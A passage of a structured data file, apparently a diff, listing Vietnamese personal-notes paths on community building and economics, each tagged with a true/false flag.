đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "❓Động lực làm việc không liên quan đến sự khuếch tán trách nhiệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Các cách xác định sản phẩm đã phù hợp thị trường hay chưa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Các dạng cộng đồng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Cách phân tích các loại khách hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Có những người không muốn được hỏi mình muốn gì mà chỉ muốn được quyết định giúp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Cảm giác khó chịu khi bị quảng cáo quá đà" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Cộng đồng của dự án khác với cộng đồng của xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Cộng đồng là những người có cùng niềm tin" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Cộng đồng trên Facebook là cộng đồng của Facebook" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Cộng đồng từ chưa tỉnh thức đến tỉnh thức ít nhất cũng 2 năm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Gặp mặt", + "Các buổi cà phê bạn bè chủ yếu là thu hút người chưa biết về dự án thông qua cá tính của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Gặp mặt", + "Các buổi cà phê thường phải theo nhu cầu tán chuyện của mọi người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Gặp mặt", + "Các buổi hội thảo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Gặp mặt", + "Việc gặp người mới sẽ phải thường xuyên kể về động lực làm dự án mình hoài" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Nhiều người muốn hỏi ý kiến của người sáng lập nhưng không hỏi trong cộng đồng chung mà chỉ muốn nhắn riêng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Nhóm kín trên Facebook không nhất thiết là cộng đồng riêng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Nội dung thiên về lý tính có nhiều tương tác chủ động. Nội dung thiên về cảm tính có nhiều tương tác thụ động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Phân loại khách hàng tốt nhất là phân loại bằng niềm tin" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Quảng cáo trên Internet khác hẳn quảng cáo trên các phương tiện ở chỗ người tiêu dùng có thể tương tác với quảng cáo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Việc có được khách hàng mới có thể tốn kém hơn từ 5 đến 25 lần so với việc giữ chân một khách hàng hiện có" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "Đàm phán là tạo ra giá trị, chứ không phải chia đôi lợi ích" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Học tập cùng cộng đồng khác gì với thực tập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Khách hàng sẽ nhớ đến mình nếu như mình có thể tạo được satisfaction of emotion, nhưng họ chỉ làm tnv hoặc góp tiền cho mình khi họ cần đảm bảo một cái gì đấy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Làm sao để biết người thụ hưởng sẽ tiếp tục dựa dẫm hay sẽ có động lực thay đổi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Một người khen là bài rất hay thì nó có nghĩa gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Tìm sự bàn tán trước hay chuẩn bị cho sự bàn tán trước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Tỉ lệ hài lòng trên share là bao nhiêu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Truyền thông, xây dựng cộng đồng", + "❓Việc diễn giả lên nói mà không tìm hiểu trước nhu cầu người tham dự có đúng tinh thần SL hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Chúng ta có cảm xúc cổ đại, thiết chế thời trung đại và công nghệ của chúa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Công nghệ vừa làm tăng sự phức tạp của vấn đề, vừa làm giảm khả năng hiểu được vấn đề của chúng ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "ESG" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Cho mượn theo nhóm đảm bảo hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Cho vay ngang hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Con số cho tiền cho thiện nguyện dựa trên cộng đồng không tăng lên dù có rất nhiều nền tảng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Kể cả khi AI có thể làm mất việc, thì những ngành khác cũng sẽ tạo ra nhiều loại việc khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Mọi người vẫn nghĩ công nghệ mới là AI, nhưng nó chỉ là một công nghệ trong rất nhiều các loại công nghệ mới khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Năm 1990 UNDP gắn phát triển vào phát triển con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nếu bạn thấy được ý nghĩa trong công việc bạn làm thì bạn sẽ không lo lắng về người dùng chùa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Chưa có một lý thuyết chắc chắn nào về nền kinh tế chăm sóc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Các công việc nấu nướng, dọn dẹp, chăm sóc trẻ em, người già và người bệnh tại gia đình thường được hiểu là công việc chăm sóc không lương" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Công việc chăm sóc không lương thường vô hình trong các chính sách và ngân sách bởi vì nó không nằm trong định nghĩa và đo lường theo cách truyền thống của nền kinh tế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Công việc chăm sóc không lương được gán cho là không có giá trị về kinh tế bất chấp một thực tế về những đóng góp to lớn của công việc này cho nền kinh tế và xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Nhiều thảo luận về nền kinh tế chăm sóc chỉ nói đến lợi nhuận tiềm năng của nó, chứ không để ý vào các bất bình đẳng xã hội từ việc thiếu để ý và quan tâm đến các công việc chăm sóc" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Sự khác biệt giữa nền kinh tế chăm sóc và các ngành dịch vụ là nó tập trung vào người yếu thế, và hệ thống hoá các khái niệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Tính trung bình, phụ nữ làm công việc chăm sóc không được trả lương nhiều hơn ít nhất hai lần rưỡi so với nam giới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Với sự phát triển của AI, các ngành về chăm sóc sẽ trở thành lợi thế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế hậu khan hiếm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế không dùng tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Kinh tế số là kinh tế dữ liệu (data-driven economy)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Ngân hàng trung ương quản lý được digital currency, nhưng không phải crypto" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Sự khác nhau giữa công nghệ thông tin và chuyển đổi số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Tài chính phi tập trung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "❓Quyền riêng tư có phải là bất lợi với các doanh nghiệp nhỏ vì họ không có dữ liệu khách hàng, nhưng lại là lợi thế của doanh nghiệp lớn để họ độc quyền khai thác khách hàng đó?" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Chi phí chuyển đổi sang năng lượng xanh không đơn giản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Các thảo luận về nền kinh tế xanh ít đề cập đến việc giảm tải áp lực cho mọi người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Dần dần khái niệm kinh tế xanh được đánh đồng với tăng trưởng xanh" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Rác thải nhựa từ một toà nhà vào buổi trưa là khổng lồ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Để bắt kịp những công nghệ mới, thường 2 năm rà soát lại một lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "The non-monetary economy, typically embedded in a monetary economy, undertakes tasks that benefit society (whether through producing services, products, or making investments) that the monetary economy does not value" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Tỉ lệ mua khi có ủng hộ giảm tăng vì người mua không muốn mình bị đánh giá là đứa tồi. Nhưng những người trả tiền trả nhiều tiền hơn hẳn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Xu thế kinh tế mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Đi cùng với khái niệm bền vững là khan hiếm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Chúng ta cần có tiền, nhưng không cần giàu có" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Chỉ khi có sự trao đổi thì giá cả mới xuất hiện" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Con người không giả định miễn phí là kém chất lượng với sản phẩm số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Các từ ngữ do chủ nghĩa tân tự do sử dụng thường có tính che giấu nhiều hơn là được làm sáng tỏ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Giá cao làm tăng kỳ vọng, nhưng không làm thay đổi cảm nhận về chất lượng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Những gì “thị trường muốn” có xu hướng đồng nghĩa với những gì các doanh nghiệp và ông chủ của nó muốn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Những sản phẩm quá mới mẻ khó theo hình thức trả giá tuỳ tâm được, vì người mua không có cách nào để đoán giá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Những tài nguyên vô hạn sẽ làm những tài nguyên không vô hạn đi kèm với nó trở nên khan hiếm hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Nền kinh tế thị trường khác với xã hội thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Sự hấp dẫn của tư duy thị trường ở chỗ nó không phán xét" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Thị trường không chỉ phân bố hàng hoá mà còn bộc lộ, khuyến khích con người có những thái độ nhất định với các loại hàng hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Thị trường không định giá. Ta mới là người định giá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Đôi khi, giá trị thị trường lấn át những giá trị phi thị trường đáng quan tâm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Độc quyền, ngoại tác, hàng hoá công, thông tin bất cân xứng, mất cân bằng vĩ mô là các thất bại của thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "❓Truyền miệng là cách duy nhất để sản phẩm thực sự tốt hơn chiến thắng trên thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Cảm giác mất mát là cảm giác tiêu cực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Kinh tế học hành vi chủ yếu ứng dụng thiên kiến và suy luận tắt của con người vào kinh tế học, chứ chưa phải là toàn bộ tâm lý con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Nhu cầu rõ ràng về tiền làm nhức đầu tất cả các bên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Ta muốn cái được phải chắc chắn, trong khi cái mất ta có thể mạo hiểm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền là một động lực ngoại sinh cực kỳ tốt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền làm người sở hữu tưởng rằng mình độc lập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền làm thay đổi mối quan hệ từ việc đáp ứng nhu cầu lẫn nhau sang trao đổi hàng hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền tạo ra những cam kết phải đáp ứng mà nhiều khi mình không còn nhu cầu nữa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền đơn giản hoá quá trình đáp ứng nhu cầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Từ khi có tiền, chúng ta mới có sự cạnh tranh để đáp ứng nhu cầu người khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Việc bán hàng và việc đáp ứng nhu cầu người dùng không nhất thiết phải đi cùng với nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Việc chia cổ phần làm ta chỉ còn chú ý vào động lực ngoại sinh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "❓Việc được tự định giá sức lao động của mình khiến người lao động cảm thấy công sức mình được công nhận xứng đáng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Bảo hộ thương mại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Cái được đem ra toàn cầu hoá là luật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "GDP của VN tăng trưởng rất nhanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Nói về hội nhập kinh tế của Việt Nam có thể rất ngắn, chỉ cần 2 slide" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Phi toàn cầu hoá là khi người ta không quan tâm đến luật nữa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Chiến tranh tiền tệ là một khái niệm không khoa học" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Công việc thay đổi là vì những người xung quanh thay đổi, chứ không nhất thiết là vì có công nghệ mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Hệ thống tài phiệt nắm quyền qua các ngân hàng trung ương" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Lương nghĩa gốc là thức ăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Ngân hàng trung ương châu Âu nằm ở Đức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Người Hy Lạp cổ duy trì chế độ nô lệ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Người Hy Lạp cổ không tự hào về việc mình có việc làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Những người không cùng cộng đồng kinh tế thì đổi chác. Những người sống trong cùng một cộng đồng thì nhận nợ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Nợ đã hiện hữu từ trước khi con người phát minh ra tiền bạc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Thời nông nghiệp, người giàu là người có nhiều ruộng đất. Thời công nghiệp, người giàu là người có nhiều nhà máy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Thời WW2 Thuỵ Sỹ trung lập được vì đó là nơi tích luỹ vàng của giới tài phiệt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Trong một hợp đồng, không phải cái gì cũng mang tính chất hợp đồng" +] + +🚀: false +[ + "", + 